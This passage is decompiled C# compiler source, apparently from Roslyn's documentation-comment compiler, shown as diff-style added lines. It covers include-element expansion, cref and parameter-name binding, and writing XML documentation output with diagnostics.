xmlNameSyntax.Prefix == null) + { + val = xmlNameSyntax.LocalName; + if (DocumentationCommentXmlNames.ElementEquals(((SyntaxToken)(ref val)).ValueText, "include", false)) + { + _includeElementNodes.Add((CSharpSyntaxNode)(object)node); + } + } + } + base.DefaultVisit(node); + } + + public override void VisitToken(SyntaxToken token) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (_writer != null) + { + ((SyntaxToken)(ref token)).WriteTo((TextWriter)_writer); + } + base.VisitToken(token); + } + + private string GetDebuggerDisplay() + { + return _writer.GetStringBuilder().ToString(); + } + } + + private class IncludeElementExpander + { + private readonly Symbol _memberSymbol; + + private readonly ImmutableArray _sourceIncludeElementNodes; + + private readonly CSharpCompilation _compilation; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly CancellationToken _cancellationToken; + + private int _nextSourceIncludeElementIndex; + + private HashSet _inProgressIncludeElementNodes; + + private HashSet _documentedParameters; + + private HashSet _documentedTypeParameters; + + private DocumentationCommentIncludeCache _includedFileCache; + + private IncludeElementExpander(Symbol memberSymbol, ImmutableArray sourceIncludeElementNodes, CSharpCompilation compilation, HashSet documentedParameters, HashSet documentedTypeParameters, DocumentationCommentIncludeCache includedFileCache, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + _memberSymbol = memberSymbol; + _sourceIncludeElementNodes = sourceIncludeElementNodes; + _compilation = compilation; + _diagnostics = diagnostics; + _cancellationToken = cancellationToken; + _documentedParameters = documentedParameters; + _documentedTypeParameters = documentedTypeParameters; + _includedFileCache = includedFileCache; + _nextSourceIncludeElementIndex = 0; + } + + public static void ProcessIncludes(string unprocessed, Symbol memberSymbol, ImmutableArray sourceIncludeElementNodes, CSharpCompilation compilation, ref HashSet documentedParameters, ref HashSet documentedTypeParameters, ref DocumentationCommentIncludeCache includedFileCache, TextWriter writer, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + if (sourceIncludeElementNodes.IsEmpty) + { + writer?.Write(unprocessed); + return; + } + XDocument node; + try + { + node = XDocument.Parse(unprocessed, LoadOptions.PreserveWhitespace); + } + catch (XmlException) + { + writer?.Write(unprocessed); + return; + } + cancellationToken.ThrowIfCancellationRequested(); + IncludeElementExpander includeElementExpander = new IncludeElementExpander(memberSymbol, sourceIncludeElementNodes, compilation, documentedParameters, documentedTypeParameters, includedFileCache, diagnostics, cancellationToken); + XNode[] array = includeElementExpander.Rewrite(node, null, null); + foreach (XNode value in array) + { + cancellationToken.ThrowIfCancellationRequested(); + writer?.Write(value); + } + documentedParameters = includeElementExpander._documentedParameters; + documentedTypeParameters = includeElementExpander._documentedTypeParameters; + includedFileCache = includeElementExpander._includedFileCache; + } + + private XNode[] RewriteMany(XNode[] nodes, string currentXmlFilePath, CSharpSyntaxNode originatingSyntax) + { + ArrayBuilder val = null; + foreach (XNode node in nodes) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.AddRange(Rewrite(node, currentXmlFilePath, originatingSyntax)); + } + if (val != null) + { + return val.ToArrayAndFree(); + } + return Array.Empty(); + } + + private XNode[] Rewrite(XNode node, string currentXmlFilePath, CSharpSyntaxNode originatingSyntax) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + string commentMessage = null; + if (node.NodeType == XmlNodeType.Element) + { + XElement xElement = (XElement)node; + if (ElementNameIs(xElement, "include")) + { + XNode[] array = RewriteIncludeElement(xElement, currentXmlFilePath, originatingSyntax, out commentMessage); + if (array != null) + { + return array; + } + } + } + if (node is XContainer xContainer) + { + IEnumerable enumerable = xContainer.Nodes(); + XContainer xContainer2 = XmlUtilities.Copy(xContainer, false); + if (enumerable != null) + { + XNode[] array2 = RewriteMany(enumerable.ToArray(), currentXmlFilePath, originatingSyntax); + object[] content = array2; + xContainer2.ReplaceNodes(content); + } + if (xContainer2.NodeType == XmlNodeType.Element && originatingSyntax != null) + { + XElement xElement2 = (XElement)xContainer2; + foreach (XAttribute item in xElement2.Attributes()) + { + if (AttributeNameIs(item, "cref")) + { + BindAndReplaceCref(item, originatingSyntax); + } + else if (AttributeNameIs(item, "name")) + { + if (ElementNameIs(xElement2, "param") || ElementNameIs(xElement2, "paramref")) + { + BindName(item, originatingSyntax, isParameter: true, isTypeParameterRef: false); + } + else if (ElementNameIs(xElement2, "typeparam")) + { + BindName(item, originatingSyntax, isParameter: false, isTypeParameterRef: false); + } + else if (ElementNameIs(xElement2, "typeparamref")) + { + BindName(item, originatingSyntax, isParameter: false, isTypeParameterRef: true); + } + } + } + } + if (commentMessage != null) + { + XComment xComment = new XComment(commentMessage); + return new XNode[2] { xComment, xContainer2 }; + } + return new XNode[1] { xContainer2 }; + } + return new XNode[1] { XmlUtilities.Copy(node, false) }; + } + + private static bool ElementNameIs(XElement element, string name) + { + if (string.IsNullOrEmpty(element.Name.NamespaceName)) + { + return DocumentationCommentXmlNames.ElementEquals(element.Name.LocalName, name, false); + } + return false; + } + + private static bool AttributeNameIs(XAttribute attribute, string name) + { + if (string.IsNullOrEmpty(attribute.Name.NamespaceName)) + { + return DocumentationCommentXmlNames.AttributeEquals(attribute.Name.LocalName, name); + } + return false; + } + + private XNode[] RewriteIncludeElement(XElement includeElement, string currentXmlFilePath, CSharpSyntaxNode originatingSyntax, out string commentMessage) + { + //IL_018e: Unknown result type (might be due to invalid IL or missing references) + //IL_01e3: Unknown result type (might be due to invalid IL or missing references) + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_021f: Expected O, but got Unknown + Location includeElementLocation = GetIncludeElementLocation(includeElement, ref currentXmlFilePath, ref originatingSyntax); + bool flag = originatingSyntax.SyntaxTree.ReportDocumentationCommentDiagnostics(); + if (!EnterIncludeElement(includeElementLocation)) + { + XAttribute xAttribute = includeElement.Attribute(XName.Get("file")); + XAttribute? xAttribute2 = includeElement.Attribute(XName.Get("path")); + string value = xAttribute.Value; + string value2 = xAttribute2.Value; + if (flag) + { + _diagnostics.Add(ErrorCode.WRN_FailedInclude, includeElementLocation, value, value2, new LocalizableErrorArgument(MessageID.IDS_OperationCausedStackOverflow)); + } + commentMessage = ErrorFacts.GetMessage(MessageID.IDS_XMLNOINCLUDE, CultureInfo.CurrentUICulture); + return new XNode[2] + { + new XComment(commentMessage), + XmlUtilities.Copy(includeElement, false) + }; + } + DiagnosticBag instance = DiagnosticBag.GetInstance(); + try + { + XAttribute xAttribute3 = includeElement.Attribute(XName.Get("file")); + XAttribute xAttribute4 = includeElement.Attribute(XName.Get("path")); + bool flag2 = xAttribute3 != null; + bool flag3 = xAttribute4 != null; + if (!flag2 || !flag3) + { + LocalizableErrorArgument localizableErrorArgument = (flag2 ? MessageID.IDS_XMLMISSINGINCLUDEPATH.Localize() : MessageID.IDS_XMLMISSINGINCLUDEFILE.Localize()); + instance.Add(ErrorCode.WRN_InvalidInclude, includeElementLocation, localizableErrorArgument); + commentMessage = MakeCommentMessage(includeElementLocation, MessageID.IDS_XMLBADINCLUDE); + return null; + } + string value3 = xAttribute4.Value; + string value4 = xAttribute3.Value; + XmlReferenceResolver xmlReferenceResolver = ((CompilationOptions)_compilation.Options).XmlReferenceResolver; + if (xmlReferenceResolver == null) + { + instance.Add(ErrorCode.WRN_FailedInclude, includeElementLocation, value4, value3, (object)new CodeAnalysisResourcesLocalizableErrorArgument("XmlReferencesNotSupported")); + commentMessage = MakeCommentMessage(includeElementLocation, MessageID.IDS_XMLFAILEDINCLUDE); + return null; + } + string text = xmlReferenceResolver.ResolveReference(value4, currentXmlFilePath); + if (text == null) + { + instance.Add(ErrorCode.WRN_FailedInclude, includeElementLocation, value4, value3, (object)new CodeAnalysisResourcesLocalizableErrorArgument("FileNotFound")); + commentMessage = MakeCommentMessage(includeElementLocation, MessageID.IDS_XMLFAILEDINCLUDE); + return null; + } + if (_includedFileCache == null) + { + _includedFileCache = new DocumentationCommentIncludeCache(xmlReferenceResolver); + } + try + { + XDocument orMakeDocument; + try + { + orMakeDocument = _includedFileCache.GetOrMakeDocument(text); + } + catch (IOException ex) + { + instance.Add(ErrorCode.WRN_FailedInclude, includeElementLocation, value4, value3, ex.Message); + commentMessage = MakeCommentMessage(includeElementLocation, MessageID.IDS_XMLFAILEDINCLUDE); + return null; + } + string text2 = default(string); + bool flag4 = default(bool); + XElement[] array = XmlUtilities.TrySelectElements((XNode)orMakeDocument, value3, ref text2, ref flag4); + if (array == null) + { + instance.Add(ErrorCode.WRN_FailedInclude, includeElementLocation, value4, value3, text2); + commentMessage = MakeCommentMessage(includeElementLocation, MessageID.IDS_XMLFAILEDINCLUDE); + if (flag4) + { + return null; + } + if (includeElementLocation.IsInSource) + { + return new XNode[1] + { + new XComment(commentMessage) + }; + } + commentMessage = null; + return Array.Empty(); + } + if (array != null && array.Length != 0) + { + XNode[] nodes = array; + XNode[] array2 = RewriteMany(nodes, text, originatingSyntax); + if (array2.Length != 0) + { + commentMessage = null; + return array2; + } + } + commentMessage = MakeCommentMessage(includeElementLocation, MessageID.IDS_XMLNOINCLUDE); + return null; + } + catch (XmlException ex2) + { + Location location = (Location)(object)XmlLocation.Create(ex2, text); + instance.Add(ErrorCode.WRN_XMLParseIncludeError, location, GetDescription(ex2)); + if (includeElementLocation.IsInSource) + { + commentMessage = string.Format(ErrorFacts.GetMessage(MessageID.IDS_XMLIGNORED2, CultureInfo.CurrentUICulture), text); + return new XNode[1] + { + new XComment(commentMessage) + }; + } + commentMessage = null; + return Array.Empty(); + } + } + finally + { + if (flag) + { + ((BindingDiagnosticBag)(object)_diagnostics).AddRange(instance); + } + instance.Free(); + LeaveIncludeElement(includeElementLocation); + } + } + + private static string MakeCommentMessage(Location location, MessageID messageId) + { + if (location.IsInSource) + { + return ErrorFacts.GetMessage(messageId, CultureInfo.CurrentUICulture); + } + return null; + } + + private bool EnterIncludeElement(Location location) + { + if (_inProgressIncludeElementNodes == null) + { + _inProgressIncludeElementNodes = new HashSet(); + } + return _inProgressIncludeElementNodes.Add(location); + } + + private bool LeaveIncludeElement(Location location) + { + return _inProgressIncludeElementNodes.Remove(location); + } + + private Location GetIncludeElementLocation(XElement includeElement, ref string currentXmlFilePath, ref CSharpSyntaxNode originatingSyntax) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + Location val = includeElement.Annotation(); + if (val != (Location)null) + { + return val; + } + if (currentXmlFilePath == null) + { + originatingSyntax = _sourceIncludeElementNodes[_nextSourceIncludeElementIndex]; + val = ((SyntaxNode)originatingSyntax).Location; + _nextSourceIncludeElementIndex++; + FileLinePositionSpan lineSpan = val.GetLineSpan(); + currentXmlFilePath = ((FileLinePositionSpan)(ref lineSpan)).Path; + } + else + { + val = (Location)(object)XmlLocation.Create((XObject)includeElement, currentXmlFilePath); + } + includeElement.AddAnnotation(val); + return val; + } + + private void BindAndReplaceCref(XAttribute attribute, CSharpSyntaxNode originatingSyntax) + { + CrefSyntax crefSyntax = SyntaxFactory.ParseCref(attribute.Value); + if (crefSyntax != null) + { + Location location = ((SyntaxNode)originatingSyntax).Location; + RecordSyntaxDiagnostics(crefSyntax, location); + MemberDeclarationSyntax associatedMemberForXmlSyntax = BinderFactory.GetAssociatedMemberForXmlSyntax(originatingSyntax); + Binder binder = BinderFactory.MakeCrefBinder(crefSyntax, associatedMemberForXmlSyntax, _compilation.GetBinderFactory(associatedMemberForXmlSyntax.SyntaxTree)); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(_diagnostics); + attribute.Value = GetDocumentationCommentId(crefSyntax, binder, instance); + RecordBindingDiagnostics(instance, location); + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + + private void BindName(XAttribute attribute, CSharpSyntaxNode originatingSyntax, bool isParameter, bool isTypeParameterRef) + { + XmlNameAttributeSyntax xmlNameAttributeSyntax = ParseNameAttribute(attribute.ToString(), attribute.Parent.Name.LocalName); + Location location = ((SyntaxNode)originatingSyntax).Location; + RecordSyntaxDiagnostics(xmlNameAttributeSyntax, location); + BinderFactory.GetAssociatedMemberForXmlSyntax(originatingSyntax); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(_diagnostics); + Binder binder = MakeNameBinder(isParameter, isTypeParameterRef, _memberSymbol, _compilation, originatingSyntax.SyntaxTree); + DocumentationCommentCompiler.BindName(xmlNameAttributeSyntax, binder, _memberSymbol, ref _documentedParameters, ref _documentedTypeParameters, instance); + RecordBindingDiagnostics(instance, location); + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private static Binder MakeNameBinder(bool isParameter, bool isTypeParameterRef, Symbol memberSymbol, CSharpCompilation compilation, SyntaxTree syntaxTree) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Invalid comparison between Unknown and I4 + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Invalid comparison between Unknown and I4 + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Invalid comparison between Unknown and I4 + Binder binder = new BuckStopsHereBinder(compilation, FileIdentifier.Create(syntaxTree)); + Symbol containingSymbol = memberSymbol.ContainingSymbol; + binder = binder.WithContainingMemberOrLambda(containingSymbol); + ImmutableArray parameters; + if (isParameter) + { + parameters = ImmutableArray.Empty; + SymbolKind kind = memberSymbol.Kind; + if ((int)kind <= 9) + { + if ((int)kind == 4) + { + goto IL_006b; + } + if ((int)kind == 9) + { + parameters = ((MethodSymbol)memberSymbol).Parameters; + } + } + else + { + if ((int)kind == 11) + { + goto IL_006b; + } + if ((int)kind == 15) + { + parameters = ((PropertySymbol)memberSymbol).Parameters; + } + } + goto IL_0086; + } + Symbol symbol = memberSymbol; + do + { + SymbolKind kind = symbol.Kind; + if ((int)kind == 4) + { + goto IL_00b7; + } + if ((int)kind != 9) + { + if ((int)kind == 11) + { + goto IL_00b7; + } + } + else + { + MethodSymbol methodSymbol = (MethodSymbol)symbol; + if (methodSymbol.Arity > 0) + { + binder = new WithMethodTypeParametersBinder(methodSymbol, binder); + } + } + goto IL_00f1; + IL_00b7: + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + if (namedTypeSymbol.Arity > 0) + { + binder = new WithClassTypeParametersBinder(namedTypeSymbol, binder); + } + goto IL_00f1; + IL_00f1: + symbol = symbol.ContainingSymbol; + } + while (isTypeParameterRef && (object)symbol != null); + goto IL_0101; + IL_006b: + NamedTypeSymbol namedTypeSymbol2 = (NamedTypeSymbol)memberSymbol; + if (namedTypeSymbol2.IsDelegateType()) + { + parameters = namedTypeSymbol2.DelegateInvokeMethod.Parameters; + } + goto IL_0086; + IL_0086: + if (parameters.Length > 0) + { + binder = new WithParametersBinder(parameters, binder); + } + goto IL_0101; + IL_0101: + return binder; + } + + private static XmlNameAttributeSyntax ParseNameAttribute(string attributeText, string elementName) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTriviaList val = SyntaxFactory.ParseLeadingTrivia($"/// <{elementName} {attributeText}/>", CSharpParseOptions.Default.WithDocumentationMode((DocumentationMode)2)); + SyntaxTrivia val2 = ((SyntaxTriviaList)(ref val)).ElementAt(0); + return (XmlNameAttributeSyntax)((XmlEmptyElementSyntax)((DocumentationCommentTriviaSyntax)(object)((SyntaxTrivia)(ref val2)).GetStructure()).Content[1]).Attributes[0]; + } + + private void RecordSyntaxDiagnostics(CSharpSyntaxNode treelessSyntax, Location sourceLocation) + { + if (!((SyntaxNode)treelessSyntax).ContainsDiagnostics || !sourceLocation.SourceTree.ReportDocumentationCommentDiagnostics()) + { + return; + } + foreach (Diagnostic diagnostic in CSharpSyntaxTree.Dummy.GetDiagnostics((SyntaxNode)(object)treelessSyntax)) + { + ((BindingDiagnosticBag)_diagnostics).Add(diagnostic.WithLocation(sourceLocation)); + } + } + + private void RecordBindingDiagnostics(BindingDiagnosticBag bindingDiagnostics, Location sourceLocation) + { + if (sourceLocation.SourceTree.ReportDocumentationCommentDiagnostics()) + { + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)bindingDiagnostics).DiagnosticBag; + if (diagnosticBag != null && !diagnosticBag.IsEmptyWithoutResolution) + { + foreach (Diagnostic item in ((BindingDiagnosticBag)bindingDiagnostics).DiagnosticBag.AsEnumerable()) + { + ((BindingDiagnosticBag)_diagnostics).Add(item.WithLocation(sourceLocation)); + } + } + } + ((BindingDiagnosticBag)(object)_diagnostics).AddDependencies((BindingDiagnosticBag)(object)bindingDiagnostics, false); + } + } + + private readonly string _assemblyName; + + private readonly CSharpCompilation _compilation; + + private readonly TextWriter _writer; + + private readonly SyntaxTree _filterTree; + + private readonly TextSpan? _filterSpanWithinTree; + + private readonly bool _processIncludes; + + private readonly bool _isForSingleSymbol; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly CancellationToken _cancellationToken; + + private SyntaxNodeLocationComparer _lazyComparer; + + private DocumentationCommentIncludeCache _includedFileCache; + + private int _indentDepth; + + private Stack _temporaryStringBuilders; + + private static readonly string[] s_newLineSequences = new string[3] { "\r\n", "\r", "\n" }; + + private IComparer Comparer + { + get + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected O, but got Unknown + if (_lazyComparer == null) + { + _lazyComparer = new SyntaxNodeLocationComparer((Compilation)(object)_compilation); + } + return (IComparer)_lazyComparer; + } + } + + private DocumentationCommentCompiler(string assemblyName, CSharpCompilation compilation, TextWriter writer, SyntaxTree filterTree, TextSpan? filterSpanWithinTree, bool processIncludes, bool isForSingleSymbol, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + _assemblyName = assemblyName; + _compilation = compilation; + _writer = writer; + _filterTree = filterTree; + _filterSpanWithinTree = filterSpanWithinTree; + _processIncludes = processIncludes; + _isForSingleSymbol = isForSingleSymbol; + _diagnostics = diagnostics; + _cancellationToken = cancellationToken; + } + + public static void WriteDocumentationCommentXml(CSharpCompilation compilation, string? assemblyName, Stream? xmlDocStream, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken, SyntaxTree? filterTree = null, TextSpan? filterSpanWithinTree = null) + { + StreamWriter streamWriter = null; + if (xmlDocStream != null && xmlDocStream.CanWrite) + { + streamWriter = new StreamWriter(xmlDocStream, new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: false), 1024, leaveOpen: true); + } + try + { + using (streamWriter) + { + new DocumentationCommentCompiler(assemblyName ?? compilation.SourceAssembly.Name, compilation, streamWriter, filterTree, filterSpanWithinTree, processIncludes: true, isForSingleSymbol: false, diagnostics, cancellationToken).Visit(compilation.SourceAssembly.GlobalNamespace); + streamWriter?.Flush(); + } + } + catch (Exception ex) + { + diagnostics.Add(ErrorCode.ERR_DocFileGen, Location.None, ex.Message); + } + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + if (diagnosticBag == null) + { + return; + } + if (filterTree != null) + { + UnprocessedDocumentationCommentFinder.ReportUnprocessed(filterTree, filterSpanWithinTree, diagnosticBag, cancellationToken); + return; + } + ImmutableArray.Enumerator enumerator = compilation.SyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + UnprocessedDocumentationCommentFinder.ReportUnprocessed(enumerator.Current, null, diagnosticBag, cancellationToken); + } + } + + internal static string GetDocumentationCommentXml(Symbol symbol, bool processIncludes, CancellationToken cancellationToken) + { + CSharpCompilation declaringCompilation = symbol.DeclaringCompilation; + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringWriter stringWriter = new StringWriter(instance.Builder); + new DocumentationCommentCompiler(null, declaringCompilation, stringWriter, null, null, processIncludes, isForSingleSymbol: true, BindingDiagnosticBag.Discarded, cancellationToken).Visit(symbol); + stringWriter.Dispose(); + return instance.ToStringAndFree(); + } + + public override void VisitNamespace(NamespaceSymbol symbol) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (symbol.IsGlobalNamespace) + { + WriteLine(""); + WriteLine(""); + Indent(); + if (!EnumBounds.IsNetModule(((CompilationOptions)_compilation.Options).OutputKind)) + { + WriteLine(""); + Indent(); + WriteLine("{0}", _assemblyName); + Unindent(); + WriteLine(""); + } + WriteLine(""); + Indent(); + } + ImmutableArray.Enumerator enumerator = symbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + current.Accept(this); + } + if (symbol.IsGlobalNamespace) + { + Unindent(); + WriteLine(""); + Unindent(); + WriteLine(""); + } + } + + public override void VisitNamedType(NamedTypeSymbol symbol) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (_filterTree != null && !symbol.IsDefinedInSourceTree(_filterTree, _filterSpanWithinTree)) + { + return; + } + DefaultVisit(symbol); + if (!_isForSingleSymbol) + { + ImmutableArray.Enumerator enumerator = symbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + current.Accept(this); + } + } + } + + public override void DefaultVisit(Symbol symbol) + { + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Invalid comparison between Unknown and I4 + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (ShouldSkip(symbol) || (_filterTree != null && !symbol.IsDefinedInSourceTree(_filterTree, _filterSpanWithinTree))) + { + return; + } + bool flag = false; + if (symbol.IsPartialDefinition()) + { + if (symbol is MethodSymbol { PartialImplementationPart: { } partialImplementationPart }) + { + Visit(partialImplementationPart); + SyntaxTriviaList leadingTrivia = partialImplementationPart.GetNonNullSyntaxNode().GetLeadingTrivia(); + Enumerator enumerator = ((SyntaxTriviaList)(ref leadingTrivia)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxKind syntaxKind = ((Enumerator)(ref enumerator)).Current.Kind(); + if (syntaxKind - 8544 <= SyntaxKind.List) + { + flag = true; + break; + } + } + } + else + { + flag = !_isForSingleSymbol; + } + } + Symbol symbol2 = ((symbol is SynthesizedRecordPropertySymbol) ? symbol.ContainingType : symbol); + if (!TryGetDocumentationCommentNodes(symbol2, out var maxDocumentationMode, out var nodes)) + { + string message = ErrorFacts.GetMessage(MessageID.IDS_XMLIGNORED, CultureInfo.CurrentUICulture); + WriteLine(string.Format(CultureInfo.CurrentUICulture, message, symbol.GetDocumentationCommentId())); + return; + } + if (nodes.IsEmpty) + { + if ((int)maxDocumentationMode >= 2 && RequiresDocumentationComment(symbol) && !symbol.IsPartialImplementation() && !flag) + { + Location locationInTreeReportingDocumentationCommentDiagnostics = GetLocationInTreeReportingDocumentationCommentDiagnostics(symbol); + if (locationInTreeReportingDocumentationCommentDiagnostics != (Location)null) + { + _diagnostics.Add(ErrorCode.WRN_MissingXMLComment, locationInTreeReportingDocumentationCommentDiagnostics, symbol); + } + } + return; + } + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (!TryProcessDocumentationCommentTriviaNodes(symbol, flag, nodes, out var withUnprocessedIncludes, out var haveParseError, out var documentedTypeParameters, out var documentedParameters, out var includeElementNodes)) + { + return; + } + if (haveParseError) + { + string message2 = ErrorFacts.GetMessage(MessageID.IDS_XMLIGNORED, CultureInfo.CurrentUICulture); + WriteLine(string.Format(CultureInfo.CurrentUICulture, message2, symbol.GetDocumentationCommentId())); + return; + } + if (!includeElementNodes.IsDefaultOrEmpty) + { + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + TextWriter writer = (flag ? null : _writer); + IncludeElementExpander.ProcessIncludes(withUnprocessedIncludes, symbol, includeElementNodes, _compilation, ref documentedParameters, ref documentedTypeParameters, ref _includedFileCache, writer, _diagnostics, _cancellationToken); + } + else if (_writer != null && !flag) + { + Write(withUnprocessedIncludes); + } + if (!(GetLocationInTreeReportingDocumentationCommentDiagnostics(symbol) != (Location)null)) + { + return; + } + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (documentedParameters != null) + { + ImmutableArray.Enumerator enumerator2 = GetParameters(symbol).GetEnumerator(); + while (enumerator2.MoveNext()) + { + ParameterSymbol current = enumerator2.Current; + if (!documentedParameters.Contains(current)) + { + Location firstLocation = current.GetFirstLocation(); + _diagnostics.Add(ErrorCode.WRN_MissingParamTag, firstLocation, current.Name, symbol); + } + } + } + if (documentedTypeParameters == null) + { + return; + } + ImmutableArray.Enumerator enumerator3 = GetTypeParameters(symbol).GetEnumerator(); + while (enumerator3.MoveNext()) + { + TypeParameterSymbol current2 = enumerator3.Current; + if (!documentedTypeParameters.Contains(current2)) + { + Location firstLocation2 = current2.GetFirstLocation(); + _diagnostics.Add(ErrorCode.WRN_MissingTypeParamTag, firstLocation2, current2, symbol); + } + } + } + + private static bool ShouldSkip(Symbol symbol) + { + if (!symbol.IsImplicitlyDeclared && !symbol.IsAccessor()) + { + return symbol is SynthesizedSimpleProgramEntryPointSymbol; + } + return true; + } + + private bool TryProcessRecordPropertyDocumentation(SynthesizedRecordPropertySymbol recordPropertySymbol, ImmutableArray docCommentNodes, [NotNullWhen(true)] out string? withUnprocessedIncludes, out ImmutableArray includeElementNodes) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + ArrayBuilder val = getMatchingParamTags(recordPropertySymbol.Name, docCommentNodes); + if (val == null) + { + withUnprocessedIncludes = null; + includeElementNodes = default(ImmutableArray); + return false; + } + BeginTemporaryString(); + WriteLine("", recordPropertySymbol.GetDocumentationCommentId()); + Indent(); + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + ArrayBuilder val2 = (_processIncludes ? ArrayBuilder.GetInstance() : null); + DocumentationCommentWalker.GetSubstitutedText(_compilation, recordPropertySymbol, val, val2, instance.Builder); + string substitutedText = instance.ToStringAndFree(); + string indentedAndWrappedString = FormatComment(substitutedText); + Write(indentedAndWrappedString); + Unindent(); + WriteLine(""); + withUnprocessedIncludes = GetAndEndTemporaryString(); + includeElementNodes = val2?.ToImmutableAndFree() ?? default(ImmutableArray); + val.Free(); + return true; + static ArrayBuilder? getMatchingParamTags(string propertyName, ImmutableArray immutableArray) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder val3 = null; + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + Enumerator enumerator2 = enumerator.Current.Content.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current is XmlElementSyntax xmlElementSyntax) + { + Enumerator enumerator3 = xmlElementSyntax.StartTag.Attributes.GetEnumerator(); + while (enumerator3.MoveNext()) + { + if (enumerator3.Current is XmlNameAttributeSyntax xmlNameAttributeSyntax && xmlNameAttributeSyntax.GetElementKind() == XmlNameAttributeElementKind.Parameter) + { + SyntaxToken identifier = xmlNameAttributeSyntax.Identifier.Identifier; + if (string.Equals(((SyntaxToken)(ref identifier)).ValueText, propertyName, StringComparison.Ordinal)) + { + if (val3 == null) + { + val3 = ArrayBuilder.GetInstance(); + } + val3.Add(xmlElementSyntax); + break; + } + } + } + } + } + } + return val3; + } + } + + private bool TryProcessDocumentationCommentTriviaNodes(Symbol symbol, bool shouldSkipPartialDefinitionComments, ImmutableArray docCommentNodes, out string withUnprocessedIncludes, out bool haveParseError, out HashSet documentedTypeParameters, out HashSet documentedParameters, out ImmutableArray includeElementNodes) + { + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Expected O, but got Unknown + bool flag = false; + ArrayBuilder val = null; + documentedParameters = null; + documentedTypeParameters = null; + 